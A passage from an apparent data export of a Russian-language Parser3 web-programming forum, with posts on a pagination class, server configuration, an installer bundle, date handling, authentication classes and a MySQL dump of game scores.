####################################### \
## creates an object and defines navigation ruler of your table records \
@create[params][path_param;field;value] \
## checking params for defining \
^if(!def $params || !($params is hash)){ \
^throw[parser.runtime;scroller;Defined none of parameters. Please, check your settings] \
} \
## link path creating and record number detecting \
^if(def $params.path_param){ \
$path_param[$params.path_param] \
$record_number(^form:$path_param.int(1)) \
}{ \
^throw[parser.runtime;scroller;Parameter ^$.path_param[] is undefined. Please, check your settings] \
} \
^if(def $params.request && $params.request is hash){ \
$path[?^params.request.foreach[field;value]{^if($field ne $path_param){$field=$value&amp^;}}$path_param=] \
}{ \
$path[?^form:fields.foreach[field;value]{^if($field ne $path_param){$field=$value&amp^;}}$path_param=] \
} \
## number per section detecting \
$number_per_section(^params.number_per_section.int(1)) \
^if($number_per_section <= 0){$number_per_section(1)} \
## record number optimising \
^if($record_number <=0){$record_number(1)} \
$record_number($record_number\\$number_per_section*$number_per_section) \
^if($number_per_section != 1){^record_number.inc[]} \
## section per page detecting and optimising \
^if(def $params.section_per_page){ \
$section_per_page(^params.section_per_page.int(1)) \
^if($section_per_page <= 0){$section_per_page(1)} \
} \
## table count detecting \
$table_count(^params.table_count.int(1)) \
## scroller type detecting \
$type[$params.type] \
## section limits defining \
^if($section_per_page){ \
$first_number(($record_number\\$number_per_section - $section_per_page\\2)*$number_per_section) \
^if($number_per_section != 1){^first_number.inc[]} \
^if($first_number <= 0){$first_number(1)} \
$section($section_per_page) \
}{ \
$first_number(1) \
^if($number_per_section == 1){ \
$section($table_count) \
}{ \
$section(^math:ceiling($table_count/$number_per_section)) \
} \
} \
## detecting last section page - it must be equal to $number_per_section \
^if(($number_per_section != 1 && $section_per_page || $section_per_page) && ^math:ceiling(($table_count-$first_number)/$number_per_section) < $section){ \
$first_number(($table_count-$number_per_section*($section_per_page-1))\\$number_per_section*$number_per_section) \
^if($number_per_section != 1){^first_number.inc[]} \
^if($table_count%$number_per_section == 0 && $number_per_section != 1){^first_number.dec($number_per_section)} \
} \
## first section start position \
^if($first_number <=0){$first_number(1)} \
$second_number($first_number + $number_per_section - 1) \
######## end of @create[] constructor ######## \
\
######## draw method - draws the ruler ######## \
## returns a navigation ruler \
@draw[previous;next;delimeter][previous;next;delimeter;f1] \
## previous link \
^if($section_per_page && $first_number > 1){ \
^post_link[^eval($first_number - $number_per_section);^if(def $previous){^taint[html][$previous]}{&lt^;};$record_number;$path] \
} \
## scroller body \
^for[f1](1;$section){ \
^if($first_number <= $table_count){ \
^if($number_per_section == 1){ \
^post_link[$first_number;$first_number;$record_number;$path] \
}{ \
^if($type eq \"page\"){ \
^post_link[$first_number;^math:ceiling($first_number/$number_per_section);$record_number;$path] \
}{ \
^if($second_number > $table_count){ \
^post_link[$first_number;^if($first_number != $table_count){<nobr>${first_number}-$table_count</nobr>}{$first_number};$record_number;$path] \
}{ \
^post_link[$first_number;<nobr>${first_number}-$second_number</nobr>;$record_number;$path] \
} \
} \
} \
} \
^first_number.inc($number_per_section) \
^second_number.inc($number_per_section) \
}{ \
## sections delimiter \
^if($number_per_section != 1 && $type ne \"page\" && ($first_number - $number_per_section) <= $table_count){^if(def $delimeter){^taint[html][$delimeter]}{ | }} \
} \
## next link \
^if($section_per_page && ($second_number - $number_per_section) < $table_count){ \
^post_link[^eval($second_number - $number_per_section + 1);^if(def $next){^taint[html][$next]}{&gt^;};$record_number;$path] \
} \
######## end of @draw[] method ######## \
\
######## link drawing method ######## \
## can be replaced by user to his/her needings \
@post_link[first_number;text_link;record_number;path][first_number;text_link;record_number;path] \
$pages[^eval($table_count\\10)] \
$www[^eval($pages - ^math:ceiling($first_number/$number_per_section) + 2)] \
^if($record_number != $first_number){ \
$result[<a href=\"/gb/guestbook.html${path}$first_number\">$www</a>] \
}{ \
$result[<span style=\"background-color:#ffffff^; color:#426394^; padding:0 3 1 3\">$www</span>] \
} \
######## end of @post_link operator ######## \
\
\
\
нужно чтобы на странице arc.html страницы были в разбиты по месяцам, ну типа: \
Год 2003 \
Январь - 123, 124, 126.... 278 и т.д. \
Февраль - 341, 342 и т.д. \
... \
... \
Год 2004 \
.... \
\
Всем кому не лень - вперёд!"
"30804","Уже разобрался. Но всёравно большое спасибо, что неоставили без внимания :))"
"30805","мне хотелось гостевую книгу с возможностью комментирования уже добавленных сообщений, но и с последующей комментацией предыдущих, что пока что не представляется для меня возможным ]:\
\
но к треду это не относится, как я понял.\
\
помогите"
"30806","схема то понятна, но я думаю что хочу немного иного.\
\
это может и не взыметь влплощения в жизнь, но идея была вставлять в теги с цифрами или менять аттрибут тега на CSS."
"30807","Здраствуйте.\
Я, как начинающий студент Parsera начал с самого начала его\
изучения.\
И сразу же споткнулся на первом  уроке \"Урок 1. Меню навигации\"\
(...)Вставил ^navigation[]  в index.html запустил в IE (сервер\
включен и\
настроен) но ожидаемого меню не получил, написало ^navigation[]\
все.\
И только после раздумий и розбора структуры теставой страници,\
нашел\
в чем проблема.\
Оказывается, надо вставить в корневом каталоге .htaccess с\
содержанием:\
\
AddHandler parsed-html html\
Action parsed-html /cgi-glob/parser3/parser3_wrapper.exe\
\
В документации, до Первого Урока, об этом не сказано и многие\
новички\
спотыкаюстя на первом же уроке, теряя интерес разбираться\
дальше.\
\
Спасибо и удачи."
"30809","[i]\"Пролетарская революция, о необходимости которой так долго твердили большевики, свершилась. Ура, товарищи!\"[/i] (с) тов. Ульянов\
\
На http://www.bougakov.com/devel/download/setup.exe лежит файл весом 4,9 Mb - в одном флаконе собраны:\
\
- Apache 1.3.31\
- MySQL 4 версии\
- MySQL Front\
- SMTP-эмулятор\
- маленький FTP-сервер (не знаю, нахрена он, правда - но на всякий случай включил)\
- Parser в виде модуля Apache с поддержкой XML\
- и до кучи PHP 4.3 с GD-библиотекой\
\
Бонусы: \
- удобная контрольная панель (при запуске садится в Tray), позволяющая легко управлять Apache и MySQL, вызывать MySQL Front, SMTP'шник и открывать браузер\
- инсталлятор, который не даст самому криворукому ламеру сделать что-то не так (прощайте тупые вопросы в форуме!!)\
\
(summary - тот же Денвер, только заточенный под парсер и более человечный, что-ли - без кучи страшных Perl'овых скриптов)\
\
Пользователь скачивает setup.exe, запускает, два раза жмёт на Next  и получает работающий сайт с набившим оскомину ^navigation[] из первого урока. \
\
Пакет ещё в состоянии глубокой альфа-версии - нет хелпа, setup script сыроват. Пожалуйста, скачайте пакет (но не раньше утра воскресенья, пожалуйста - я его сейчас закачиваю на сайт, а GPRS небыстр) и поиграйтесь с ним - и поделитесь впечатлениями и предложениями.\
\
Уже есть в TODO:\
\
- нормальный example website (сайт с примером блога, форума, гостевой, галереи)\
- модульный setup (можно выбрать, докачивать и устанавливать ли PHP, Perl, SSH-клиент, FTP-сервер)\
- добавить Mod_perl\
- добавить документацию, лицензию\
- добавить редактор виртуальных хостов в httpd.conf\
- многоязыковый интерфейс\
- настройки не только через settings.ini, но и через диалоговое окно в программе\
\
Надеюсь, с вашей помощью удастся довести пакет до приемлемого вида, тогда его можно будет рекомендовать новичкам."
"30810","Забыл, что у меня в телефоне при четырех gprs-download каналах только один upload... \
\
Ладно, к утру докачается..."
"30812","Скачиваю, антивирус не ругается.\
Делаю дабл клик,- вижу красивое окно...\
\
Всё работает, Красиво, класс ...\
Вот только рефреш пришлось нажать, апач неуспел запуститься\
\
С остальным до утра, или до дня, вобщем как проснусь гляну трезвым взглядом."
"30813","[code]\
@auto[]\
  ^dtf:last-day[^date::create(2003;12)]\
[/code]\
результат:\
[quote]\
length\
\
date field not found\
[...]/dtf.p(226:37) \
dateString	[...]/dtf.p(226:11)	\
if	[...]/dtf.p(226:2)	\
parse	[...]/dtf.p(278:9)	\
last-day	[...]/test.html(2:8)\
[/quote]\
как правильно надо было получить максимальное допустимое количество дней в указанном месяце?"
"30814","Из уважения к читающему, набираю на on screen клавиатуре, в место транслита.\
Если вас смутило слово \"розбора\", простите, не было возможности исправить эту опечатку.\
Хотелось бы получить ответ по теме, а не никому ненужную реплику."
"30815","при инсталяции попросил создать ярлык на рабочес столе - создало без указания рабочего каталога... в результате - невозможность стартовать Апач и Мускул с этого ярлыка..."
"30816","заменил проверку на такую строку:\
[code]\
        && ^date::create(^form:year.int(0);^form:month.int(0);^form:day.int(0)) < ^date::create(^form:year.int(0);^form:month.int(0)+1)\
[/code]\
и получил, вроде, что и требовалось - убедиться, что введеное число могло быть в том месяце.."
"30817","Ответ говоришь :)\
\
Так вот. Для особо одарённых........\
В Документации, если ты её смотрел, есть такие разделы как установка, настройка......\
\
Прежде чем начинать изучать язык какойнибудь надо впервую очередь читать эти разделы.......А не глаза вылупив копипэйстить и ждать пока заработает :)"
"30819","дело в том, что с Inno setup первый день общаюсь - еще не со всем разобрался..."
"30820","> Скачиваю, антивирус не ругается.\
\
Обижаете - я что, трояны публике раздавать буду?\
\
> Вот только рефреш пришлось нажать, апач неуспел запуститься\
\
ага, есть такое дело, поставлю задержку"
"30821","каким образом в 5 мб уместились apache 2 mb + php 6 mb + mysql 20 mb? :-)\
\
а как называется \"удобная контрольная панель (при запуске садится в Tray)\" и где её скачать? ищу что-то подобное."
"30822","1. Жёсткая диета и архивация ;-)\
\
Если отковырять PHP, документацию, FTP и SMTP, можно ужаться и до двух мегабайт.\
\
2. \"Удобную контрольную панель\"  написал сам на VB (сначала написал на С#.NET, но потом рассудил, что такая программка не имеет права занимать в пямяти 11 мегабайт, и переписал на VB). Скачать там же, идёт в комплекте.\
Исходники выложу."
"30823","Есть контент менеджмент система, все данные в которой перед отправкой в БД, проходят общение с типографом, это лишает много проблем, но я не могу добавить картинку или ссылку в этот текст не пользуясь phpmyadmin:\
 а)Возможно ли как то обозночить кусок текста чтобы он не обрабатывался типографом?\
 б)Возможно ли вставлять ссылку на картинку как в НTML-редакторах,\
то есть не в определенном месте, а в точке расположения курсора. Единственное что я сейчас думаю по этому поводу, это создать скрипт заменяющий правокнопочное меню своим, и реализовать это через него."
"30824","завтра поправлю... не проверил с вводным параметром типа \"дата\".\
\
можно поправить в @parse[] условие на такое:\
^if(!def $dateString || ($dateString is 'date' && ^dateString.length[] < 4)){...}{...}\
\
а можно использовать try (что я завтра наверное и сделаю)\
\
P.S. fixed."
"30825","вопрос тебе:\
ты не смотрел страницу по ссылке слева \"[url=\"http://www.parser.ru/forum/info.html\"]команды форматирования[/url]\"?\
посмотри/поищи по форуму треды про пользовательсике операторы\
\
я же смог реализовать вставку в стаью фоток, через псевдо-тэги."
"30826","А как реализовать команды форматиорования?\
И можно поподробнее про псевдо-теги."
"30828","Может ты и продвинутый в этом деле, что тыкаешь всех носом как, куда и что. Видимо тебе не дано посмотреть глазами новичка, который пытается разобраться с самого начала документации и тупо тормозит в первом же уроке, в котором нет ссылки на установку и настройку, как например \"Переменные или передача параметра\".\
\
Что-то тут не очень доброжелательно к новичкам относяться."
"30830","... то следуя логике Вы должны были начать знакомство с документацией не с \"Урока 1\", а с самого первого раздела \"Как работать с документацией\" http://www.parser.ru/docs/lang/how2read.htm в котором рассказано в каких частях, что искать."
"30835","Привет всем!\
\
Вопрос такой, есть у меня в основном auto.p метод @auto[] в котором у меня создаются всякие там переменные, коннекты к базе etc...\
Встает вопрос, можно ли енто все как-нить закэшировать? Насколько я понял из документации к ^cache, то это мне не помощник в данном вопросе...\
\
Ну и вопросик по ^cache, можно ли им кэшировать кусок хэдера в основном auto.p, где у меня вызывается некий метод ^title[], который по сути своей должен бы выдавать разные значения на разных страницах? Не получится ли так, что на время кэширования тайтл на всех страницах сайта у меня будет один и тот же? :))\
\
Шпасиб за внимание ))"
"30838","Исходите и того что\
$peremennaya[] - даже не спичка\
^cash - бревно тк есть обращение к HDD\
^table::sql{SELECT * FROM table} - Это как минимум вагон брёвен, а то и целый состав\
\
Я думаю понятно для чего нужен cash"
"30841","в явном виде.\
это же похоже на них же, но взадиголочкой.\
\
однако хозяин, безусловно, барин."
"30842","Как дату в СУБД формате преобразовать к обычному виду ( день месяц год)?"
"30843","потом правьте.\
в ней достаточно только AllowOverride поправить."
"30844","Цэ ж мастерхост ;-)\
\
Я сейчас в Нижнем Новгороде в командировке - и то у меня качается на скорости 700 с чем то Kb в секунду..."
"30845","1. Должны быть _незакомментированы_ строки\
[code]LoadModule action_module      libexec/httpd/mod_actions.so\
AddModule mod_actions.c[/code]\
\
2. После изменения AllowOverride апач должен быть перезапушен.\
\
3. Менять AllowOverride надо в разделе\
<Directory \"путь к DocumentRoot\">\
изменение в <Directory /> может не привести к желаемому."
"30846","... в разделе про клас date. Кроме того в примерах есть готовое решение: http://www.parser.ru/examples/date/"
"30848","Приделать несложно.\
Вопрос пока для меня состоит в том, как сделать Perl и PHP докачиваемыми в процессе установки - чтобы основа была маленькой и легкоскачиваемой."
"30849","Возникла проблема. Нужно, чтобы на страницы выводились результаты с двух таблиц name (varchar) и details (text) без повторов."
"30850","Чего нового будет в следущем парсере?"
"30852","А если поконкретнее\
\
Хотелось бы увидеть подгрузку пользовательских ДЛЛ"
"30853","он осложнён тем, что надо сделать удобно доступными пользователям все внутренности.\
\
и тем, что мало кто захочет забивать себе голову, что внутри строки часть может быть tainted.\
\
и мало кому реально нужно.\
\
тем редким людям, кому сейчас нужно, правит исходник, добавляя свой класс прямо туда."
"30854","Я хочу создать интерфейс работы с сервисами WM но тамашние XML ервисы работают только через HTTPS\
ЧТО ДЕЛАТЬ?"
"30856","опишите впечатения, пожалуйста!\
\
Что поравилось, что не понравилось, нужно ли это всё или нет, - полелитесь. А то написал, выложил - и ноль эффекта... feedback нужен."
"30857","http://nsis.sourceforge.net/ вроде бы умеет докачивать при установке."
"30858","сделай у себя на сайте БД для багов и feedback - будет проще всем (кроме создателя при создании :))."
"30859","одной ветки в форуме за глаза хватит, я полагаю.\
\
Ну так что насчёт feedback по существу, а не \"по ведению дискуссии\"?"
"30860","от меня нет feedback - я не юзер :) я предпочитаю все сам руками, кроме того, мне нужен PostgreSQL а не мускул."
"30861","Как ты, как parser evangelist ;-) , считаешь, что нужно сделать с этим пакетом, чтобы он способствовал популяризации парсера среди широких масс трудящихся? Чего ему ещё не хватает?"
"30862","по моему не хватает описания что это такое и с чем его едят (может оно и есть внутри пакета, но я обычно читаю краткое описание [b]прежде[/b] чем качать, а тут прочитать было нечего, а ставить и тыкаться вслепую я не любитель)\
\
P.S. то, что есть \"инсталлятор, который не даст самому криворукому ламеру сделать что-то не так\" с одной стороны кажется что это хорошо, т.к. не будет тупых вопросов, только я почему-то уверен что после того, как этот инсталятор что-то поставит, эти личности резко вдруг не поумнеют, и обязательно наступят на что-то, что они обошли, если сами побороли-бы инсталяцию [b]по инструкции[/b] (парадокс, но всё ведь описано, оно просто [b]не[/b] читается!)\
\
P.P.S. ещё не хватает ссылки в разделе download на этом сайте, но она появится как только как сиё творение выйдет из стадии альфа-тестирования :)"
"30863","1) На вашем сайте надо открыть отдельный форум - в котором всё будет обсуждаться(Я например сейчас не готов так сразу перейти на вашу систему хотя потнецияально денвер мне неравится тк периодически долбится в фаервол, но перейти с него я немогу по причине отсутствия возможности удобно добавлять/удалять сайты в вашей системе как следствие мой голос вы получите не сразу)\
2) Попросите сделать ссылку на этом сайте, рядом со ссылкой на денвер - это обеспечит постоянный приток \"тесторов\"\
3) Разместите этот пакет на сайтах download.ru и ему подобных\
4) Немного расслабьтесь и решайте вопросы по мере их поступления, а о релизах сообщайте в форум"
"30864","ты главное до ума доведи, - чтобы был приемлемый уровень ошибок (все нельзя убрать)"
"30865","Администратор сказал что FreeBSD 2.*(что-то типа того).\
Существуют ли пакеты для старших версий?"
"30866","Unhandled Exception\
The server encountered an unhandled exception and was unable to complete your request.\
При записи файла\
Я думаю, что это недостаток прав у ПАРСЕРА или что-то другое?"
"30868","с XML не сильно сложнее.\
\
перечитайте договор. если там есть SSH доступ, возможно, сможете сами. детали в документации и файле INSTALL архива с исходниками."
"30869","и сделайте то, что там написано."
"30870","пытаюсь написать страницу авторизации с перегруженной функцией @xmlFormLogon взятой из примеров.\
\
есть auto.p\
@USE\
mysql.p\
myauth.p\
lib.p\
@auto[]\
$MAIN:pSQL[^mysql::init[$SQL.connect-string]]\
}\
@main[]\
^MAIN:pSQL.server{\
$MAIN:auth_data[^my_auth::init[$cookie:CLASS;$form:fields;$.csql[$MAIN:pSQL]]]\
	^auth_data.setExpireHeaders[]\
	^if($auth_data.is_logon){\
	^page_header[]\
	^page_body[]\
	^page_footer[]\
	}\
	^rem{ *** если пользователь не залогинен - выводим форму для логина *** }\
	^if(!$auth_data.is_logon){\
		^auth_data.htmlFormLogon[$.target_url[./somewhere]]\
	} \
}\
\
есть myauth.p\
@CLASS\
my_auth\
\
@USE\
auth.p\
\
@BASE\
auth\
\
@init[icookie_data;ilogon_data;iparams][lparams;logon_status]\
^BASE:init[icookie_data;ilogon_data;iparams]\
\
@htmlFormLogon[in_params][lparams]\
тут своя форма\
\
так вот получаю ошибку\
Initialization failure. $.csql option MUST be specified.\
z:/home/localhost/www/classes/auth/auth.p(182)\
\
где рыть? кто подскажет?\
ps: вообще в документации контексты как-то мутно описаны,\
совсем не пойму для чего это надо!"
"30871","must be:\
[code]\
@init[icookie_data;ilogon_data;iparams][lparams;logon_status]\
^BASE:init[$icookie_data;$ilogon_data;$iparams]\
[/code]\
\
P.S. нужно вызвать BASE:init передавая ему в качестве входных параметров [b]не строки[/b] icookie_data, ilogon_data и iparams, а то, что передали вашему конструктору,т.е. $icookie_data, $ilogon_data и $iparams."
"30873","Понял свою ошибку!\
\
Пытался сообразить что означает конструкция @init[bla,bla][гы,гы]\
нашел в доке в описании системной переменной caller\
стр 44, \"в контексте вызова вашего оператора\".\
То есть для чего нужно [гы,гы] непонял!\
Возможно непонимаю потому что начал писать на парсере, и в тоже время уже очень долго работаю в 1С:Предприятие. Там есть такое понятие как контекст (модуля, там справочника или другого представителя метаданных конфигурации).\
Вот!"
"30874","Вопрос:\
- что есть это:\
[code]\
@init[...]\
[/code]\
?\
\
Ответ:\
- определение метода.\
\
соответственно открываем документацию и находим пункт [url=\"/docs/lang/definemethod.htm\"]Определение методов и пользовательских операторов[/url], где и описано про то, что означает данная конструкция (в третьей непустой строке).\
\
причем судя по тому, что вы процитировали вы таки нашли нужную страницу, только не понятно почему пропустили первые три строки в которых сказано что это означает + первый абзац текста описания :)\
\
P.S. @init[bla,bla][гы,гы] - такого ни у меня в коде нет, ни парсер не понимает."
"30875","Я имел ввиду не определение метода, а что означает конструкция\
@init[][i]\
-------^^ вот это для чего? и с чем едят?\
я так понимаю это типа передача параметра по ссылке!"
"30876","Или все таки дальше обещаний дело не пошло (суда по сообщениям в форуме)!"
"30877","http://www.parser.ru/docs/lang/definemethod.htm"
"30878","Это никому сильно не нужно (кроме любителей халявы), а мороки для его открытия, думаю много будет для студии."
"30879","может сходите по той-же ссылке, приведенной в сообщении egr-а..."
"30880","Вообщем-то я думал в сторону прямого помещения переменных, определенных в рамках кэша обратно в память, без процессов их заполнения... Вообщем mod perl мне определенно поможет ;))\
\
Сэнькс ответившим, со всем разобрался путем проб ) Думаю, тема закрыта ))"
"30881","Себя к любителям халявы не отношу. Как обычно встал вопрос о создании cms. Просто всегда перед написанием чего-нибудь сначала интересуюсь как и что сделано у других, более опытных в таких делах, чтобы не изобретать свой лисапед!"
"30882","Ссылка не открывалась. Но все равно нашел в документации стр. 42. Распечатал как книжку и заброшуровал! Теперь читаю перед сном :)"
"30883","Может кто подкинет ссылочку где можно почитать о различиях в механизмах рендеринга страниц в броузерах(ну баги там всякие и все такое). Особливо интересует Opera и IE. А то сам сижу на Опере а когде смотрю иногда результат в IE иногда очень сильно отличается от задуманного!"
"30884","Утро вам доброе.\
Вопрос: как обстоит дело с подддержкой Parser`a разными хостингами (платными)?\
С уважением"
"30885","но среди интересуемых браузеров самое основное различие заключается в отображении символов перевода строки. IE в некоторых случаях их всетаки показывает, хотя не должен.\
Эта проблема решается легко. В постпроцессе удаляются все переводы строки и табуляторы.\
По внедрению спецификаций самый модный браузер - Opera. Он хорошо их соблюдает, при этом не забывает про исключения, такие как <nobr> и <center>.\
В обоих браузерах есть небольшие недочеты в отображении CSS.\
К примеру в Opera нельзя положить фон в виде картинки в <tr> и <td> одновременно. Картика в <tr> видна не будет. Так же нельзя указывать различные единицы измерений в унифицированных формах записи (padding: 1px 2pt 3% 4em - работать не будет).\
Оба браузера не корректно работают с white-space: nowrap\
В IE не работает position: fixed\
\
Вот собственно что первое на ум пришло. Остальные различия в отображении незначительны."
"30886","спасибо, я уже сам разобрался и это были права\
\
но в FAQ я не видел установку прав для win"
"30887","Вы можете установить Парсер на любой приличный хостинг самомтоятельно, если же вам нужен хостинг с предустановленным Parser смотрите раздел хостинги на этом сайте."
"30888","Как можно сделать, так:\
$hash[\
  $.слово1. слово2{ значение.}\
]\
\
Важно, что слова русские, между ними пробел и точка обязательно. В какие скобки нужно взять ключ, чтоб хеш его понял?"
"30889","[code]\
$hash[\
	$.[слово1. слово2][ значение.]\
]\
[/code]"
"30891","такими словами, чтобы вам было понятно.\
если народ одобрит, включим в FAQ."
"30892","1. проблема записи файла на диск\
   -установил правильные права\
2. проблема защиты auto.p\
   -установил на него обработчиком parser, но потом придумал интереснее, поставил на auto.p обработчиком txt (монжно что угодно). При этом сервак выводит ошибку идентичную, ошибке при отсутствии файла."
"30893","судя по узученной доке, надо типа такого:\
[code]\
$my_hash[\
  ^pSQL.sql[hash]{\
    SELECT\
      key1\
      ,key2\
      ,key3\
    FROM\
      database\
    GROUP BY\
      key1  \
  }\
]\
[/code]\
таким образом я надеялся получить большой хеш с полным содержимым таблицы, в которой колонки key1, а столбцы key2 для типа такого формирования:\
[code]\
  ^gorizont.menu{\
    ^vertikal.menu{\
      $my_hash.[$gorizont.key1].[$vertikal.key2].key3\
То есть тут хотелось получить, грубо говоря, значение из базы \
SELECT\
  key3\
WHERE \
  key1=$gorizont.key1\
AND\
  key2=$vertikal.key2\
    }[<br>]\
  }[<hr>]\
[/code]\
вроде бы пример из ^table.hash[] как раз про это, но что-то медитирование на него не приносит просветления... может, где еще это в примерах используется, чтобы можно было посмотреть на работающую реализацию???"
"30894","1. установите [b]правильно[/b] parser\
2. радуйтесь\
\
без обид, но так не пойдёт.."
"30895","«хочу двухуровнемый hash::sql, чтобы первая колонка стала ключом первого уровня, вторая колонка — ключом второго, а последующие колонки стали значениями хеша второго уровня»\
\
об этом я думал, и пришёл к выводу, что такое обычно не нужно.\
\
если вы настроены к конструктивному разговору и не против, давайте обсудим задачу. глядишь, более простое решение совместно выработается?"
"30897","не знаю, может и не стоило кидать дамп, но смысл реальный физический смысл такой:\
\
id - ну, собственно, id autoincrement \
auser_id - про кого запись сделано (конечно, речь только о зарегеных)\
map_id -  id мапы, про которую пишется результат игры (из таблицы maps[id,name])\
score - настрелял очков\
death - убили раз его\
trener_auser_id - кто это вносли в базу\
time - время окончания игры (берется по времени создания файла автоскриншота)\
date - дата, когда это было...\
\
на сайте нужно несколько выводов из таблицы родить...\
\
например, на одной странице таблицу с выборкой по определенной map_id, с большими горизонтальными разделами по auser_id, названия столбцов - даты всех зарегистриованых игр, содержание - эээ... как бы это... в-общем, этого числа эту карту могли играть какое-то количество раз... надо сложить все score по этой карте за это колоночное число и разделить на все (death+1) тоже за это число по этой карте as kd...\
\
я предполагал сделать так:\
сначала список дат \
потом список игроков,\
потом родить таблицу, где первая строка - .menu по датам с самими датами в значениях ячейки\
последующие строки - .menu из имени игрока (рождается из другого хеша имен игроков из auser_id) и опять же меню по датам, но уже не с датами, а со значениями из хеша, названия ключа которые как раз и есть эта дата...\
\
то есть чтобы в таблице видно было как по датам меняется kd (Killed/Death - Убил/Умер) для каждого игрока...\
\
потом надо бы еще несколько аналогичных таблиц, как kd меняется не по датам, а по разным картам... по разным напарникам/соперникам... \
\
\
#Это можно и не читать, в-принципе...\
[quote]\
# phpMyAdmin SQL Dump\
# version 2.5.3-rc1\
# http://www.phpmyadmin.net\
#\
# Хост: localhost\
# Время создания: Июн 30 2004 г., 16:20\
# Версия сервера: 4.0.15\
# Версия PHP: 4.3.3\
# \
# БД : `nubz_voskresensk_net`\
# \
\
# --------------------------------------------------------\
\
#\
# Структура таблицы `aim_sk_result`\
#\
\
CREATE TABLE `aim_sk_result` (\
  `id` int(10) NOT NULL auto_increment,\
  `auser_id` int(10) NOT NULL default '0',\
  `map_id` tinyint(4) NOT NULL default '0',\
  `score` tinyint(4) NOT NULL default '0',\
  `death` tinyint(4) NOT NULL default '0',\
  `trener_auser_id` int(10) NOT NULL default '0',\
  `time` time NOT NULL default '00:00:00',\
  `date` date NOT NULL default '0000-00-00',\
  PRIMARY KEY  (`id`),\
  UNIQUE KEY `dt_time` (`auser_id`,`date`,`time`)\
) TYPE=MyISAM AUTO_INCREMENT=52 ;\
\
#\
# Дамп данных таблицы `aim_sk_result`\
#\
\
INSERT INTO `aim_sk_result` VALUES (7, 8, 6, 30, 8, 3, '22:10:00', '2004-06-26');\
INSERT INTO `aim_sk_result` VALUES (6, 3, 6, 26, 8, 3, '22:10:00', '2004-06-26');\
INSERT INTO `aim_sk_result` VALUES (8, 3, 5, 20, 6, 3, '22:00:00', '2004-06-26');\
INSERT INTO `aim_sk_result` VALUES (9, 8, 5, 18, 8, 3, '22:00:00', '2004-06-26');\
INSERT INTO `aim_sk_result` VALUES (10, 3, 4, 22, 23, 3, '21:50:00', '2004-06-26');\
INSERT INTO `aim_sk_result` VALUES (11, 8, 4, 34, 20, 3, '21:50:00', '2004-06-26');\
INSERT INTO `aim_sk_result` VALUES (12, 3, 3, 52, 16, 3, '21:39:00', '2004-06-26');\
INSERT INTO `aim_sk_result` VALUES (13, 8, 3, 51, 17, 3, '21:39:00', '2004-06-26');\
INSERT INTO `aim_sk_result` VALUES (14, 3, 2, 28, 26, 3, '21:29:00', '2004-06-26');\
INSERT INTO `aim_sk_result` VALUES (15, 8, 2, 38, 23, 3, '21:29:00', '2004-06-26');\
INSERT INTO `aim_sk_result` VALUES (16, 3, 1, 35, 24, 3, '21:19:00', '2004-06-26');\
INSERT INTO `aim_sk_result` VALUES (17, 8, 1, 4, 4, 3, '21:19:00', '2004-06-26');\
INSERT INTO `aim_sk_result` VALUES (18, 3, 5, 28, 7, 3, '23:08:00', '2004-06-25');\
INSERT INTO `aim_sk_result` VALUES (19, 8, 5, 21, 8, 3, '23:08:00', '2004-06-25');\
INSERT INTO `aim_sk_result` VALUES (20, 3, 4, 31, 21, 3, '22:58:00', '2004-06-25');\
INSERT INTO `aim_sk_result` VALUES (21, 8, 4, 26, 20, 3, '22:58:00', '2004-06-25');\
INSERT INTO `aim_sk_result` VALUES (22, 3, 3, 54, 19, 3, '22:47:00', '2004-06-25');\
INSERT INTO `aim_sk_result` VALUES (23, 8, 3, 41, 18, 3, '22:47:00', '2004-06-25');\
INSERT INTO `aim_sk_result` VALUES (24, 3, 2, 28, 20, 3, '22:37:00', '2004-06-25');\
INSERT INTO `aim_sk_result` VALUES (25, 8, 2, 42, 22, 3, '22:37:00', '2004-06-25');\
INSERT INTO `aim_sk_result` VALUES (26, 3, 1, 45, 22, 3, '22:27:00', '2004-06-25');\
INSERT INTO `aim_sk_result` VALUES (27, 8, 1, 34, 20, 3, '22:27:00', '2004-06-25');\
INSERT INTO `aim_sk_result` VALUES (28, 3, 6, 31, 6, 3, '22:16:00', '2004-06-25');\
INSERT INTO `aim_sk_result` VALUES (29, 8, 6, 7, 0, 3, '22:16:00', '2004-06-25');\
INSERT INTO `aim_sk_result` VALUES (30, 10, 5, 6, 8, 3, '22:52:00', '2004-06-27');\
INSERT INTO `aim_sk_result` VALUES (31, 3, 5, 7, 11, 3, '22:52:00', '2004-06-27');\
INSERT INTO `aim_sk_result` VALUES (32, 8, 5, 14, 10, 3, '22:52:00', '2004-06-27');\
INSERT INTO `aim_sk_result` VALUES (33, 11, 5, 12, 7, 3, '22:52:00', '2004-06-27');\
INSERT INTO `aim_sk_result` VALUES (34, 10, 4, 6, 14, 3, '22:41:00', '2004-06-27');\
INSERT INTO `aim_sk_result` VALUES (35, 3, 4, 13, 16, 3, '22:41:00', '2004-06-27');\
INSERT INTO `aim_sk_result` VALUES (36, 8, 4, 27, 15, 3, '22:41:00', '2004-06-27');\
INSERT INTO `aim_sk_result` VALUES (37, 10, 3, 6, 17, 3, '22:30:00', '2004-06-27');\
INSERT INTO `aim_sk_result` VALUES (38, 3, 3, 14, 18, 3, '22:30:00', '2004-06-27');\
INSERT INTO `aim_sk_result` VALUES (39, 8, 3, 17, 3, 3, '22:30:00', '2004-06-27');\
INSERT INTO `aim_sk_result` VALUES (40, 10, 2, 13, 20, 3, '22:19:00', '2004-06-27');\
INSERT INTO `aim_sk_result` VALUES (41, 3, 2, 14, 18, 3, '22:19:00', '2004-06-27');\
INSERT INTO `aim_sk_result` VALUES (42, 8, 2, 11, 17, 3, '22:19:00', '2004-06-27');\
INSERT INTO `aim_sk_result` VALUES (43, 10, 6, 10, 12, 3, '22:05:00', '2004-06-27');\
INSERT INTO `aim_sk_result` VALUES (44, 3, 6, 12, 11, 3, '22:05:00', '2004-06-27');\
INSERT INTO `aim_sk_result` VALUES (45, 8, 6, 19, 9, 3, '22:05:00', '2004-06-27');\
INSERT INTO `aim_sk_result` VALUES (46, 3, 2, 10, 31, 3, '21:34:00', '2004-06-24');\
INSERT INTO `aim_sk_result` VALUES (47, 8, 2, 17, 24, 3, '21:34:00', '2004-06-24');\
INSERT INTO `aim_sk_result` VALUES (48, 3, 1, 14, 19, 3, '21:15:00', '2004-06-24');\
INSERT INTO `aim_sk_result` VALUES (49, 8, 1, 12, 19, 3, '21:15:00', '2004-06-24');\
INSERT INTO `aim_sk_result` VALUES (50, 3, 6, 31, 6, 3, '20:57:00', '2004-06-24');\
